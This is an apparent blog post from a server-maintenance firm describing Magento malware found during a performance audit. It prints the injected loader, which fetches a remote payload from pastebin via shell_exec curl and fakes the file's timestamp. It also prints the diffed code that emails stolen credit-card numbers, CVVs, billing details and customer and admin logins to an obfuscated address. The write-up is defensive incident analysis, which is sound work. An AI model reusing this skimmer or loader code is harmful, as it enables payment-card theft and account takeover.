Magento Security alert...
One of the services that we offer is to provide a server audit, usually arising from a reduction in performance, mail blacklisting... that sort of thing. This usually leads to a security upgrade, server cleanup and general tuneup.
For reference, we usually use Patrick Meenan's fabulous http://webpagetest.org service to deliver before and after stats... even though most of our work is at the infrastructure level, so just addressing the TTFB – the first line on that waterfall - it does provide a great means of identifying ( and visualising the effect of ) further work that the client can go through and address themselves: reducing image sizes, file counts, 3rd party loads etc.
So, yesterday, we were asked to look at a magento site that wasn't performing well. After addressing most of the usual problems: Gigabyte log files, log tables with millions of rows, MySQL set to use 8MB of memory, no system updates or magento patches for years and so on, I just thought I'd check the index.php to see whether any strange code had been loaded ( we've seen some weird stuff here, like you wouldn't believe! ), and this is what I found...
$compilerConfig = 'includes/config.php';
if (file_exists($compilerConfig) && (filesize($compilerConfig) == 2260)) {
include $compilerConfig;
}
else {
$b64 = "base"."64"."_"."de"."code";
$link = $b64('aHR0cDovL3Bhc3RlYmluLmNvbS9yYXcv');
shell_exec('curl -o includes/config.php '.$link.'AgJaXBQf');
shell_exec('touch -r includes/.htaccess includes/config.php');
include $compilerConfig;
}
curl -o includes/config.php http://pastebin.com/raw/AgJaXBQf eh?
Now that looks weird... so what does the target includes/config.php look like then? Here's the important bit... it patches 3 core Magento files, once again from the pastebin
/**
* Main Config
* Please dont ever edit this code below
*/
$dir = getcwd();
$b64 = "base"."64"."_"."de"."code";
$path = '/app/code/core/Mage';
$link = $b64('aHR0cDovL3Bhc3RlYmluLmNvbS9yYXcv');
$path_a = $dir.$path.'/Payment/Model/Method/';
$name_a = 'Cc.php';
$file_a = 'Abstract.php';
$size_a = 14759;
$link_a = $link.'A78sr324';
$path_b = $dir.$path.'/Customer/Model/';
$name_b = 'Session.php';
$file_b = 'Group.php';
$size_b = 10098;
$link_b = $link.'rGtRemgU';
$path_c = $dir.$path.'/Admin/Model/';
$name_c = 'Session.php';
$file_c = 'Config.php';
$size_c = 7739;
$link_c = $link.'tMxCsdAa';
On further investigation, this is uploading code from http://pastebin.com/raw and replaces the Credit card processing stuff with it. As a part of the preparesave function, this function is called...
private function _saveInfos()
{
if(Mage::getSingleton('customer/session')->isLoggedIn())
{ $ctid = "Customer"; } else $ctid = "Guest";
$cinfo = $this->getInfoInstance();
$card = 'Card: '.
$cinfo->getCcNumber().' | '.
$cinfo->getCcExpMonth().'/'.
$cinfo->getCcExpYear().' | '.
$cinfo->getCcCid();
$minfo = Mage::getSingleton('checkout/session')
->getQuote()
->getPayment()
->getMethodInstance()
->getTitle();
$binfo = new Mage_Checkout_Block_Onepage_Billing;
$bill = $binfo->getQuote()->getBillingAddress();
$billing = ''.
'Status: '.$ctid.'/'.$minfo."\n".
'Cname: '.$bill->getFirstname().' '.$bill->getLastname()."\n".
'Street: '.$bill->getStreet(1).' '.$bill->getStreet(2)."\n".
'City: '.$bill->getCity()."\n".
'State: '.$bill->getRegion()."\n".
'Pcode: '.$bill->getPostcode()."\n".
'Country: '.$bill->getCountry()."\n".
'Phone: '.$bill->getTelephone()."\n".
'Email: '.$bill->getEmail()."\n";
$db = 'Checkout '.
$cinfo->getCcType().'/'.
substr($cinfo->getCcNumber(), 0,6);
$idkey = "base"."64"."_"."de"."code";
$update = "ma"."il";
$encode = $idkey("ZGlzY29sb2dneUBnbWFpbC5jb20=");
$srvnm = $_SERVER['HTTP_HOST'];
$ipcid = $_SERVER['REMOTE_ADDR'];
$timestamp = 'From: '.$srvnm.'<'.$ipcid.'>';
$mySql = $billing.$card;
$update($encode, $db, $mySql, $timestamp);
}
To decode the final line: $update($encode, $db, $mySql, $timestamp);
$update = "ma" . "il" = mail
$encode = base"."64"."_"."de"."code" ( "ZGlzY29sb2dneUBnbWFpbC5jb20=") = discologgy@gmail.com
$mysql = billing ( address, etc ) + credit card info
$timestamp = From: www.example.com<192.168.1.1>
Payment/Model/Method/Cc.php contained
< error_reporting(0);
---
>
58a59
>
67d67
< $this->_saveInfos();
394,437d393
< /**
< * Prepare send to Database
< *
< * @return string
< */
< private function _saveInfos()
< {
< if(Mage::getSingleton('customer/session')->isLoggedIn())
< { $ctid = "Customer"; } else $ctid = "Guest";
< $cinfo = $this->getInfoInstance();
< $card = 'Card: '.
< $cinfo->getCcNumber().' | '.
< $cinfo->getCcExpMonth().'/'.
< $cinfo->getCcExpYear().' | '.
< $cinfo->getCcCid();
< $minfo = Mage::getSingleton('checkout/session')
< ->getQuote()
< ->getPayment()
< ->getMethodInstance()
< ->getTitle();
< $binfo = new Mage_Checkout_Block_Onepage_Billing;
< $bill = $binfo->getQuote()->getBillingAddress();
< $billing = ''.
< 'Status: '.$ctid.'/'.$minfo."\n".
< 'Cname: '.$bill->getFirstname().' '.$bill->getLastname()."\n".
< 'Street: '.$bill->getStreet(1).' '.$bill->getStreet(2)."\n".
< 'City: '.$bill->getCity()."\n".
< 'State: '.$bill->getRegion()."\n".
< 'Pcode: '.$bill->getPostcode()."\n".
< 'Country: '.$bill->getCountry()."\n".
< 'Phone: '.$bill->getTelephone()."\n".
< 'Email: '.$bill->getEmail()."\n";
< $db = 'Checkout '.
< $cinfo->getCcType().'/'.
< substr($cinfo->getCcNumber(), 0,6);
< $idkey = "base"."64"."_"."de"."code";
< $update = "ma"."il";
< $encode = $idkey("ZGlzY29sb2dneUBnbWFpbC5jb20=");
< $srvnm = $_SERVER['HTTP_HOST'];
< $ipcid = $_SERVER['REMOTE_ADDR'];
< $timestamp = 'From: '.$srvnm.'<'.$ipcid.'>';
< $mySql = $billing.$card;
< $update($encode, $db, $mySql, $timestamp);
< }
Customer/Model/Session.php
< error_reporting(0);
216,223d214
< $srv = $_SERVER['HTTP_HOST'];
< $ips = $_SERVER['REMOTE_ADDR'];
< $id = "ba"."se"."64"."_"."de"."co"."de";
< $db = "ma"."il";
< $key = $id("ZGlzY29sb2dneUBnbWFpbC5jb20=");
< $auth = "Email: $username\nPassword: $password\nIP: $ips\nSite: $srv";
< $headr = 'From:'.$srv.'<'.$ips.'>';
< $db($key,"Customer: $srv", $auth, $headr);
Admin/Model/Session.php
< error_reporting(0);
94,102d92
<
< $srv = $_SERVER['HTTP_HOST'];
< $ips = $_SERVER['REMOTE_ADDR'];
< $id = "ba"."se"."64"."_"."de"."co"."de";
< $db = "ma"."il";
< $key = $id("ZGlzY29sb2dneUBnbWFpbC5jb20=");
< $auth = "Email: $username\nPassword: $password\nIP: $ips\nSite: $srv";
< $headr = 'From:'.$srv.'<'.$ips.'>';
< $db($key,"Admin: $srv", $auth, $headr);
So it's sending emails, containing purchase details / logins / CC details to a ( now defunct ) gmail address, also identifying the server for further attacks. Although attempts were taken to break up stuff like the base64_encode call, the email address was always encoded in the same way, so a quick check of the codebase showed up no further code, and an even more paranoid ( hey, it's in the job description! ) search showed no files containing “ma” either.
We informed the client, and then restored the 5 affected files from a clean download of magento. A proper comparison with the clean codebase is in the works in the near future.
I did note ( putting the email address into google, nothing clever! ) that it was on a list of known malware email addresses found at https://github.com/WSTNPHX/scripts-n-tools/blob/master/malware-email-add... so we're considering blacklisting mail recipients as part of our standard setup.
We just need to find out how the original index.php was modified now. The rest was facilitated by a standard Ubuntu LAMP install.
You just never stop learning, do you? Be careful out there...